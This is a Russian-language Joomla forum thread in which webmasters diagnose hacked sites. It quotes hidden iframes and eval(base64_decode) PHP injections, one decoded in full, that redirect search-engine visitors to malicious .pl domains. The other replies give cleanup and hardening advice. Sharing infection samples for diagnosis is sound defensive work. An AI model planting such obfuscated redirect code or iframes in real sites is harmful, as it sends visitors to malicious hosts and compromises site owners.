Новости Joomla

0 Пользователей и 1 Гость просматривают эту тему.
  • 14 Ответов
  • 3532 Просмотров
*

flat4er

  • Осваиваюсь на форуме
  • 29
  • 1 / 0
Вчерась заразился какой-то какой "statcounter.345.pl".  :'(

Захожу на свой сайт с одного компа: Каспер ругается "26.08.2011 0:36:20   URL-адрес: http://statcounter.345.pl/index.php?tp=4efc246254f4bd45   База подозрительных веб-адресов: доступ заблокирован"
Захожу с другого компа: пытается подгрузиться линк "http://statcounter.345.pl/index.php?tp=4efc246254f4bd45", всплввает окно ошибки "Acrobat plug-in"

Попробовал поиском по файлам найти эту строчку в файлах. Нашел штук 15 index.html с добавленым в конце кодом "<iframe src="http://statcounter.345.pl/index.php?tp=4efc246254f4bd45" scrolling="no" align="middle" width="1" height="1" frameborder="no" marginwidth="0" ..." Вычистил это ручками. НЕ ПОМОГЛО!

помогите, люди добрые! Сам нуб. Сайт на локальной машинке. Joomla 1.5.23
*

flat4er

  • Осваиваюсь на форуме
  • 29
  • 1 / 0
Стал сравнивать файлы с старыми и заметил странный повторяющийся код в начале страниц
Цитировать
eval(base64_decode("CgplcnJvcl9yZXBvcnRpbmcoMCk7CiRxYXpwbG09aGVhZGVyc19zZW50KCk7CmlmICghJHFhenBsbSl7CiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsKJHVhZz0kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107CmlmICgkdWFnIGFuZCAhc3RyaXN0cigkdWFnLCJTdGFja1JhbWJsZXIiKSBhbmQgIXN0cmlzdHIoJHVhZywiYXBvcnQiKSBhbmQgIXN0cmlzdHIoJHVhZywiV2ViQWx0YSIpIGFuZCAhc3RyaXN0cigkdWFnLCJhcG9ydCIpIGFuZCAhc3RyaXN0cigkdWFnLCJjb21wYXRpYmxlOyBZYW5kZXgiKSBhbmQgIXN0cmlzdHIoJHVhZywiZHlhdGVsIikpIHsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhbmRleCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29vZ2xlIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZSIpICBvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm1ldGEudWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaWdtaXIubmV0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidHV0LmJ5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidWtyLm5ldCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInBvaXNrLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZWludGVybmV0LnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ2RlLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwicXVpbnR1cmEucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJxaXAucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJtYWlsLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibWV0YWJvdC5ydSIpKSB7CiAgICBpZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewoJICAgIGhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9yb3VuZGN1YmUuYmVlLnBsLyIpOwogICAgZXhpdCgpOwoJfQoJfQoJfQoJfQ=="));

в папке хранится бэкап старой версии сайта на WordПрессе. Дак там ВСЕ РНР-СТРАНИЦЫ просто усеяны этим кодом!  :o
*

flat4er

  • Осваиваюсь на форуме
  • 29
  • 1 / 0
HELP! Вычистил код, вычистил iframe_ы. Но всё равно при входе на сайт вылазит эта хрень. ПОМОГИТЕ, плз!  >:(
*

staticlight

  • Завсегдатай
  • 1086
  • 65 / 0
  • Staticlight
Используйте лицензионный антивирус, не качайте дополнения с варезников и не храните пароли от ФТП-менеджеров в самих менеджерах. Joomla скачивайте только с joomlaportal.ru или joom.ru


А иначе это будет повторяться.
 
Руководитель отдела сервисного обслуживания систем безопасности.
Устали от com_content - поставьте com_k2.
TRIPLE "F" POWER: Firefox+FireShot+Firebug. Chrome + Ctrl+Shift+I
*

strannik-yura

  • Давно я тут
  • 511
  • 44 / 1
  • :)
Используйте лицензионный антивирус, не качайте дополнения с варезников и не храните пароли от ФТП-менеджеров в самих менеджерах. Joomla скачивайте только с joomlaportal.ru или joom.ru


А иначе это будет повторяться.
 

а как-же Joomla.org?

а по теме добавлю - внимательно ознакомится с Безопасность сайтов на Joomla
*

nelepaya_smert

  • Осваиваюсь на форуме
  • 17
  • 4 / 1
  • Оупенсорсе, детка)
Тема жива, чтоб ее, аргхх!
Поймал редирект на happynewyear.345.pl в configuration.php
Вроде бы все ставил с оффсайтов.
Если найду источник заразы (ком или модуль, отпишусь)
*

beagler

  • Живу я здесь
  • 3276
  • 392 / 4
  • https://alorisman.ru/
*

nelepaya_smert

  • Осваиваюсь на форуме
  • 17
  • 4 / 1
  • Оупенсорсе, детка)
Пароли храню в filezilla и komodo edit за не имением тоталкоммандера под ubuntu 11.10
Машину проверяю сейчас, avast'ом под линух, качаю avg еще
*

oriol

  • Завсегдатай
  • 1042
  • 100 / 4
Вы как грибы после  дождя растете

юзайте поиск по форуму тема обсосана
вот что у вас там написано
Код
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag and !stristr($uag,"StackRambler") and !stristr($uag,"aport") and !stristr($uag,"WebAlta") and !stristr($uag,"aport") and !stristr($uag,"compatible; Yandex") and !stristr($uag,"dyatel")) {
if (stristr($referer,"yandex") or stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live")  or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"meta.ua") or stristr($referer,"bigmir.net") or stristr($referer,"tut.by") or stristr($referer,"ukr.net") or stristr($referer,"poisk.ru") or stristr($referer,"liveinternet.ru") or stristr($referer,"gde.ru") or stristr($referer,"quintura.ru") or stristr($referer,"qip.ru") or stristr($referer,"mail.ru") or stristr($referer,"metabot.ru")) {
    if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
   header("Location: http://roundcube.bee.pl/");
    exit();
}
}
}


И ЭТО НЕ FTP к вам заходили под видом робота примерно так

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; MRA 5.9 (build 4832); MRSPUTNIK 2, 4, 0, 403; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET4.0C; .NET CLR 3.5.30729; My Toolbar)
« Последнее редактирование: 08.01.2012, 22:31:19 от oriol »
*

nelepaya_smert

  • Осваиваюсь на форуме
  • 17
  • 4 / 1
  • Оупенсорсе, детка)
NightGuard,
С удовольствием помогу общему делу, как только разберусь. Но изменения на сайте делались последний раз в начале декабря, и в последнем бекапе вредоносного кода нет.
Двиджок: Joomla! 1.5.22 Stable [ senu takaa ama woi ] 04-November-2010 18:00 GMT
В компонентах как ни странно кроме системных, только Ninja RSS Syndicator 1.1.7

Модули (кроме модулей readonly, модулей от Joomla! Project и самописных):
Код
mod_artuniversallightbox 	        Сайт 	1.4.4 	August 2010 	Artetics 	
mod_breadcrumbsplus Сайт 1.5.1 March 2008 James Brice - Based on Joomla! Project Code
mod_hot_joomla_gallery Сайт 1.0.0 2009-11-20 HotJoomlaTemplates.com
mod_ninja_rss_syndicator          Сайт 1.0.7 November 2009 Ninja Forge
mod_tabs Сайт      
mod_akadmin Админ      
mod_betterpreview Админ      
mod_cachecleaner Админ      
mod_jb_popular Админ      
mod_jb_quickicon Админ      
mod_missingmeta Админ      
mod_sestimer Админ      
mod_zooquickicon Админ

Шаблон frontend:
Код
J!Blank 1.2.1 от Joomla-book.ru 

Зараженные файлы (т.е. те, в которых прописан сам код редиректа):
Код
/index.php
/configuration.php
/includes/defines.php

Сам код:
Код
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vaGFwcHluZXd5ZWFyLm9zYS5wbC8iKTsNCmV4aXQoKTsNCn0NCn0NCn0NCn0="));

Есть какая-то общая тема для этого дела? А то в поиске их там 4 (или больше)

oriol
В таком случае тоже прошу прощения, если был груб.
« Последнее редактирование: 08.01.2012, 23:55:16 от nelepaya_smert »
*

oriol

  • Завсегдатай
  • 1042
  • 100 / 4
nelepaya_smert
посмотри здесь http://safesearch.ya.ru/replies.xml?item_no=226&parent_id=270
может что то заинтересует ( я про ветку реестра)
*

nelepaya_smert

  • Осваиваюсь на форуме
  • 17
  • 4 / 1
  • Оупенсорсе, детка)
Почитал.
За auto_prepend_file спасибо, почерпнул.

Ветка реестра (ну по крайней мере указанная) не актуальна, ибо использую исключительно ubuntu)
*

NightGuard

  • Живу я здесь
  • 2927
  • 378 / 7
  • вжжж-вжжж
Версию движка до актуальной обновите.
Идеология сверхпотребления более опасна для человечества, чем идеология гитлеровского тоталитаризма
*

nelepaya_smert

  • Осваиваюсь на форуме
  • 17
  • 4 / 1
  • Оупенсорсе, детка)
Версию движка до актуальной обновите.
Для истории:
Обновление версии Joomla с 1.5.22 до 1.5.25 на 1 сайте из трех не помогло, так что вряд ли в этом дело.
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
2nelepaya_smert
не для истории
искать надо backdoor а потом уж чистить и обновлться
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Новый набег ботов в регистрации сайта... Какой в этом смысл то?

Автор Cedars

Ответов: 11
Просмотров: 1089
Последний ответ 03.11.2020, 17:36:03
от Cedars
И всё-таки какой CHMOD выставлять?

Автор fedya

Ответов: 34
Просмотров: 52726
Последний ответ 09.03.2017, 09:32:07
от SeBun
Заразился сайт или это способ взимать деньги за лечение антивирусом хост провайдера

Автор samrisbe

Ответов: 23
Просмотров: 2188
Последний ответ 11.01.2017, 23:32:05
от SeBun
Какой то код прописался в entry.php?

Автор aslanamirov

Ответов: 10
Просмотров: 1274
Последний ответ 23.04.2016, 15:53:55
от flyingspook
К URL приписывается какой то x.vindicosuite.com/click/fbfpc=1;v=

Автор zzzan

Ответов: 11
Просмотров: 1814
Последний ответ 08.04.2015, 21:39:22
от vipiusss